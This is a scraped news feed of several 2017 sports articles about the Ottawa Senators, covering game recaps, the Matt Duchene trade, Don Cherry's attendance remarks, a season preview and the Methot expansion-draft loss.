Trailing 1-0 heading into the third the Canadiens pushed a little harder, but had very few scoring chances aside from one where Philip Danault slid his shot through the crease.

With just under three minutes to go in the third Jonathan Drouin had a brutal giveaway in his own zone and Ryan made the most of it, breaking in alone and beating Price to give the Senators a 2-0 lead.

It was Ryan’s second goal in as many games. He says he finally feels like his game is turning around since breaking his index finger in October.

Thompson added an empty-net goal with 10 seconds left.

Pageau has Habs’ number

The Senators were finally rewarded for a strong effort at 14:55 of the second as Pageau tipped a Karlsson point shot to get Ottawa on the board.

Pageau now has eight career goals against the Canadiens.

“To score that goal was pretty special,” said Pageau, a Gatineau, Que., native. “When I scored that goal and your goalie doesn’t give one it makes it easier. I think we played a really solid game and obviously when the atmosphere’s that loud the energy level is always up.”

Ottawa tested Price earlier in the period as well when Mike Hoffman had three shots on an early power play, and Matt Duchene had a great chance only to see the Montreal netminder make a blocker save.

A scoreless first period saw the Senators outshoot the Canadiens 15-8.

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]]> https://briefnews.eu/sens-celebrate-nhl-100-classic-by-blanking-habs-in-ottawa/feed/ 0 Don Cherry says Sens will leave if fan attendance doesn't increase https://briefnews.eu/don-cherry-says-sens-will-leave-if-fan-attendance-doesnt-increase/ https://briefnews.eu/don-cherry-says-sens-will-leave-if-fan-attendance-doesnt-increase/#respond Sun, 17 Dec 2017 03:10:20 +0000 http://briefnews.eu/don-cherry-says-sens-will-leave-if-fan-attendance-doesnt-increase/

Hockey commentator Don Cherry says the Senators will leave Ottawa if the club doesn’t find a way to draw more fans to their games.

The “Hockey Night in Canada” personality was speaking on his weekly Coach’s Corner segment during the first intermission of the NHL 100 Classic game in the nation’s capital between the Senators and Montreal Canadiens.

His prediction comes after comments made by Senators owner Eugene Melnyk, who brought up the possibility of relocation on Friday, took a shot at fans and said a new downtown arena might never happen.

“If people don’t show up and pack the place all the time… you can’t survive with 13,000,” Cherry said. “He’s gone, Ottawa’s gone for sure, don’t know where, but Quebec would be nice.”

Ottawa made the Eastern Conference final last season and took the eventually Stanley Cup champion Pittsburgh Penguins to double overtime of Game 7. Despite missing out on the Cup final by just a goal, Melnyk said the organization was, “begging people to buy a ticket.”

“[If] you don’t sell out in the playoffs you’ll never sell out,” said Cherry.

Tired of seeing too many empty seats, the NHL club made the decision in the off-season to reduce capacity at Canadian Tire Centre by 1,500 to about 17,000. Rows in the upper bowl are currently covered with tarps.

“I don’t blame him at all, he cannot survive with 13,000 people,” said Cherry. “I’m not saying he should move [downtown Ottawa] but it’s too far out Kanata.”

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]]> https://briefnews.eu/don-cherry-says-sens-will-leave-if-fan-attendance-doesnt-increase/feed/ 0 Sens, Avs, Predators all winners in blockbuster trade https://briefnews.eu/sens-avs-predators-all-winners-in-blockbuster-trade/ https://briefnews.eu/sens-avs-predators-all-winners-in-blockbuster-trade/#respond Mon, 06 Nov 2017 18:19:01 +0000 http://briefnews.eu/sens-avs-predators-all-winners-in-blockbuster-trade/

The Matt Duchene three-team trade that was supposed to have been dead a few days ago rose from ashes on Sunday.

In a strange twist, Duchene left the Colorado Avalanche bench in the first period of a game in Brooklyn against the New York Islanders Sunday to discover that he had been moved to the Ottawa Senators.

For the talented 26-year-old centre, the Senators traded Kyle Turris to the Nashville Predators. The Avalanche received defenceman Samuel Girard, left wing Vladislav Kamenev and a second-round selection from Nashville, as well as centre Shane Bowers, goalie Andrew Hammond, first- and third-round picks from the Senators.

There were winners all around.

Although he never publicly demanded a trade, Duchene got his wish and was moved to a contender.

The Eastern Conference-finalist Senators, who have been trying to trade for Duchene for two years, upgraded their roster with the five-foot-11 centre, who was eligible to have become an unrestricted free agent on July 1. They didn’t have to give up any roster players or either of their top two prospects, Thomas Chabot and Colin White.

The Stanley Cup-finalist Predators bolstered the middle of their lineup with the addition Turris and promptly signed him to a six-year deal worth $ 36 million US.

The Avalanche not only landed two players that can step right into their lineup, they loaded up three more early draft picks and Bowers, the Senators’ first-round pick last June who is in his freshman season at Boston University.

These types of big trades weren’t supposed to happen in today’s NHL salary cap world. But kudos to Senators general manager Pierre Dorion and his counterparts with the Predators, David Poile, and the Avalanche’s Joe Sakic for finding a way to make this blockbuster.

Sure, from a Senators standpoint, it would have been nice to keep Turris at least for the rest of the season. But Ottawa owner Eugene Melnyk has imposed a strict budget on his payroll (the Senators are 15th of 31 teams) and the fans have demonstrated their displeasure by not showing up (the Senators are 24th in attendance).

Senators in good place

The Senators, however, are in a good place. The first month has shown that in the wide-open East, they are among the serious contenders with the Tampa Bay Lightning, Pittsburgh Penguins and Columbus Blue Jackets. And that’s with captain Erik Karlsson still working his way into form after off-season foot surgery.

Duchene, who is under contract at $ 6 million a season through 2018-19, is coming off his worst campaign with 18 goals and 41 points. But he has exhibited, when motivated and on a talented team, that he’s among the league’s elite.

As a depth player, Duchene won Olympic gold with Canada in 2014. He followed up that experience by being one of Canada’s best performers in back-to-back world titles in 2015 and 2016, as well as a World Cup of Hockey championship 14 months ago.

Duchene has missed the playoffs in six of his eight seasons, but his speed and skating ability will fit well into the Senators stifling system.

Meanwhile, the addition of Turris definitely will bolster the Predators top-two lines. Nashville has a middling 7-5-2 record out of the gate. It has missed James Neal’s production and injured defenceman Ryan Ellis, but Turris gives the Predators a strong middle with Ryan Johansen, Turris and Nick Bonino, while Ellis will return from knee surgery in the new year.

Even with Colorado’s loss to the Islanders on Sunday after Duchene’s first-period departure, the Avalanche started the season with an 8-6-0 start and now have a chance to grow with Girard, Kamenev, Bowers and the three draft choices.

In an interesting twist, Duchene’s first two games with his new team will be against his old team in Sweden later this week.

“It’s part of the business and none of this is personal,” Duchene said. “I’m very thankful for my new destination and I’m very thankful to [the Avalanche].”

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]]> https://briefnews.eu/sens-avs-predators-all-winners-in-blockbuster-trade/feed/ 0 Sens acquire Matt Duchene in blockbuster trade with Avs, Preds https://briefnews.eu/sens-acquire-matt-duchene-in-blockbuster-trade-with-avs-preds/ https://briefnews.eu/sens-acquire-matt-duchene-in-blockbuster-trade-with-avs-preds/#respond Mon, 06 Nov 2017 03:23:39 +0000 http://briefnews.eu/sens-acquire-matt-duchene-in-blockbuster-trade-with-avs-preds/

The Senators acquired centre Matt Duchene from the Colorado Avalanche on Sunday in a three-team deal that involved Ottawa also dealing forward Kyle Turris to the Nashville Predators.

Colorado will receive prospects Samuel Girard, Vladislav Kamenev and a 2018 second-round draft pick from Nashville along with forward Shane Bowers, goaltender Andrew Hammond, a 2018 first-round pick and 2019 third-round selection from Ottawa.

“It’s bittersweet for sure, but I’m excited for a new opportunity in Ottawa,” Duchene said as he left Barclays Center in Brooklyn. “[The Senators] have a team that can win a Stanley Cup. I’m really excited to go there and just nothing but a pleasure to have played here for Colorado.”

Duchene had been rumoured in trade talks for several months and had reportedly been dealt to Ottawa on Friday night before that transaction fell through. He’s signed through 2018-19 at a salary-cap hit of $ 6 million US.

The 26-year-old from Haliburton, Ont., left the Avalanche’s game Sunday night at the New York Islanders midway through the first period.

“I kind of knew before they told me,” Duchene said. “I saw them talking on the bench. It’s very strange, but I kind of half-expected it to be the weirdest way possible. It’s one of those things — it’s a business and I’ll have good story for people one day.”

Set to play Friday in Stockholm

Duchene, who has four goals and six assists in 13 games this season, will play his first game with the Senators on Friday against the Avalanche in Stockholm.

The five foot 11, 195 pounder has an impressive international resume that includes Olympic gold in 2014 with Canada along with winning the 2016 World Cup of Hockey, two world championships in 2015 and ’16 and an under-18 worlds in 2008.

Turris, who was set to become an unrestricted free agent at the end of the season, immediately signed a six-year, $ 36 million contract extension upon being traded to Nashville.

The 28-year-old has three goals and six assists through 11 games this year for the Senators and added 10 points in 19 playoff games last season as Ottawa reached the Eastern Conference final.

“Kyle is one of the best two-way centres in the National Hockey League,” Nashville general manager David Poile said in a statement. “He should be a great fit in our locker-room and will bolster our lineup and give us the depth that’s necessary during the regular season and the playoffs.

Can play in all situations

“He is someone who can play in all situations and will help us tremendously on both ends of the ice. He will give our coaching staff a number of options in terms of offensive production and defensive responsibilities.”

Girard, 19, has one goal and two assists in five games with the Predators this season. The defenceman from Roberval, Que., recorded 192 points in 190 career games with the Shawnigan Cataractes of the Quebec Major Junior Hockey League and was the league’s defenceman of the year in 2015-16.

Kamenev, 21, has eight points in 10 games with the American Hockey League’s Milwaukee Admirals this season.

Bowers, 18, was Ottawa’s 28th overall selection at the 2017 NHL draft and is a freshman at Boston University this season. The Halifax native spent the last two seasons with the Waterloo Black Hawks of the United States Hockey League, where he had 84 points in 116 games.

The 29-year-old Hammond has spent this season with Ottawa’s minor-league affiliate in Belleville but has previously bounced between both the NHL and AHL.

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]]> https://briefnews.eu/sens-acquire-matt-duchene-in-blockbuster-trade-with-avs-preds/feed/ 0 NHL preview: Replicating last year's Cinderella run a tall order for Sens https://briefnews.eu/nhl-preview-replicating-last-years-cinderella-run-a-tall-order-for-sens/ https://briefnews.eu/nhl-preview-replicating-last-years-cinderella-run-a-tall-order-for-sens/#respond Sun, 01 Oct 2017 13:55:12 +0000 http://briefnews.eu/nhl-preview-replicating-last-years-cinderella-run-a-tall-order-for-sens/ This is part six of our series of season previews for the seven Canadian-based NHL teams.

Published previews: Edmonton Oilers, Toronto Maple Leafs, Calgary Flames, Montreal Canadiens, Winnipeg Jets

Ottawa Senators

2016-17 record: 44-28-10 (98 points), 2nd in Atlantic Division, lost to Pittsburgh in conference final

Key off-season additions: D Johnny Oduya, F Nate Thompson

Key off-season subtractions: D Marc Methot, F Chris Neil, F Tommy Wingels, F Viktor Stalberg

Probability of winning the Cup*: 2.94%

Probability of making the playoffs*: 45.45%

*derived from betting odds posted by Bodog

Last season’s story

The 2016-17 version of the Ottawa Senators was one of the better stories hockey has had in a long time. A team without many expectations defied enough odds finishing second in the Atlantic division, ahead of more heavily favoured teams like Boston and Tampa Bay. But they didn’t stop there. They took out the Bruins in the first round, the Rangers in the second and pushed Sidney Crosby and the Penguins to a Game 7 overtime in the conference final, coming within a goal of reaching the Stanley Cup. Erik Karlsson continued to make his case for best defenceman in the NHL. However, despite all the success, they were the only team to make the playoffs with a negative goal differential (minus-2).

The off-season

The biggest story for the Senators could be the health of Karlsson, who had surgery that “took half of my ankle bone out.” He’s expected to miss the start of the regular season but should return soon after. When it comes to the roster, the Senators had a pretty quiet off-season, losing nothing major while adding even less. Defenceman Marc Methot was a casualty of the expansion draft and is now in Dallas (via Vegas), but Ottawa offset his loss by adding veteran Johnny Oduya. Role forwards Chris Neil, Viktor Stalberg and Tommy Wingels are out of the fold, but none of those losses should impact the team too heavily. They are relying on a few prospects to make the jump to the show, with blue-chip defenceman Thomas Chabot expected to make the team. Forward Colin White seemed primed to make an impact as well, but he broke his wrist in the pre-season and won’t be back for six to eight weeks. Goalie Craig Anderson was given a two-year extension with an AAV of $ 4.75 million US, and goalie insurance policy Mike Condon was also given a three-year deal. Arena issues are still hanging over the organization, however, with the team slashing capacity by 1,500.

chabot-thomas

Thomas Chabot was named MVP of the world juniors in January, leading the tournament’s defencemen in points with 10. (Claus Andersen/Getty Images)

Dream scenario

A successful season in Ottawa probably doesn’t include bettering last year’s accomplishments, as expectations of a Stanley Cup appearance seem lofty. A healthy Karlsson is needed, but if he returns quickly and plays without hindrance, the Senators will contend in the Atlantic. The offence will positively regress (their shooting percentage of 8.4 per cent was 22nd in the NHL last season), and Chabot provides them with a Zach Werenski-like impact from the backend, giving them a young, offensively gifted weapon from the blue line. If everything comes together, the Senators get back to the playoff dance, where anything can happen. 

Nightmare scenario

Last season gets chalked up to luck, where everything lined up, and the opposite happens. The offence fails to improve and the goaltending is unable to carry the team. Karlsson has a down year after starting the season injured and although still great, he doesn’t reach last year’s heights (71 points in 77 games). The division gets tougher with Tampa Bay reclaiming its status as one of the league’s elite teams, and Toronto trying to knock on the same elite door. The fans keep staying away from the rink, and the arena issues create an even darker cloud over a mediocre team.

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]]> https://briefnews.eu/nhl-preview-replicating-last-years-cinderella-run-a-tall-order-for-sens/feed/ 0 Golden Knights draft Sens defenceman Marc Methot: reports https://briefnews.eu/golden-knights-draft-sens-defenceman-marc-methot-reports/ https://briefnews.eu/golden-knights-draft-sens-defenceman-marc-methot-reports/#respond Wed, 21 Jun 2017 21:52:47 +0000 http://briefnews.eu/golden-knights-draft-sens-defenceman-marc-methot-reports/

It appears Marc Methot will be a Vegas Golden Knight, but for how long?

The Ottawa Senators will lose the stay-at-home defenceman in Wednesday night’s NHL expansion draft, according to reports.

A top-four defenceman in Ottawa last season, Methot was left unprotected on Sunday after Senators general manager Pierre Dorion failed to convince blue-liner Dion Phaneuf to waive his no-move clause to make the former Toronto Maple Leaf available to Vegas.

There is talk Dorion attempted to make a side deal with Golden Knights counterpart George McPhee, but it’s believed Dorion wasn’t comfortable meeting the latter’s asking price: Ottawa’s first-round pick in the 2018 NHL draft.

Instead, chose to protect Norris Trophy finalist Erik Karlsson, Cody Ceci, 23, and Phaneuf.

It’s possible Methot, who turned 32 on Wednesday, could be flipped in a trade once the trade freeze is lifted at 8 a.m. ET Thursday. The Ottawa native would have some say in where he is dealt since he has a 10-team no-trade clause.

Methot has two years remaining on a four-year extension signed in February 2015 at $ 4.9 million US.

Last season, the six-foot-three, 230-pound rearguard matched his 2015-16 output with 12 assists in 68 games. Methot was tied for second on the Senators in plus-minus (plus-13) with forward Jean-Gabriel Pageau and fourth in ice time (19 minutes 49 seconds).

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]]> https://briefnews.eu/golden-knights-draft-sens-defenceman-marc-methot-reports/feed/ 0 8 tweets that defined the Sens vs. Pens Game 6 nail-biter https://briefnews.eu/8-tweets-that-defined-the-sens-vs-pens-game-6-nail-biter/ https://briefnews.eu/8-tweets-that-defined-the-sens-vs-pens-game-6-nail-biter/#respond Wed, 24 May 2017 15:28:20 +0000 http://briefnews.eu/8-tweets-that-defined-the-sens-vs-pens-game-6-nail-biter/

The Ottawa Senators survived to force a Game 7 in Pittsburgh after a hand-wringing, nail-biting 2-1 win.

The game started out cautiously, but the Senators took a few penalties, a scary proposition after the Penguins scored three power-play goals in Game 5.

The game remained scoreless through one period, but a lot more happened in the second. That started with a controversial call.

The referee originally called this a goal on the ice. Senators head coach Guy Boucher challenged it, though.

After the review, officials deemed Trevor Daley pushed Craig Anderson into the net with his stick, which negated the goal.

The game remained scoreless and Penguins fans were pretty upset.

That anger did not last long, though. Pittsburgh kept pressing until Evgeni Malkin out-muscled Zack Smith to break the ice.

The nervousness grew through the second period as Pittsburgh controlled the play. Then Ottawa caught a break with a two-man advantage power-play.

This was the perfect chance to end a long, painful power-play drought. Bobby Ryan capitalized.

Craig Anderson knew he couldn’t give up a second goal and he stood tall stopping 22 shots in the second period alone.

His teammates realized that trend had to change and they took a different attitude into the third.

This early goal from Mike Hoffman helped ease the tension.

The Senators played a strong period and they held on to win Game 6, 2-1. The series will be decided on Thursday night in Pittsburgh.

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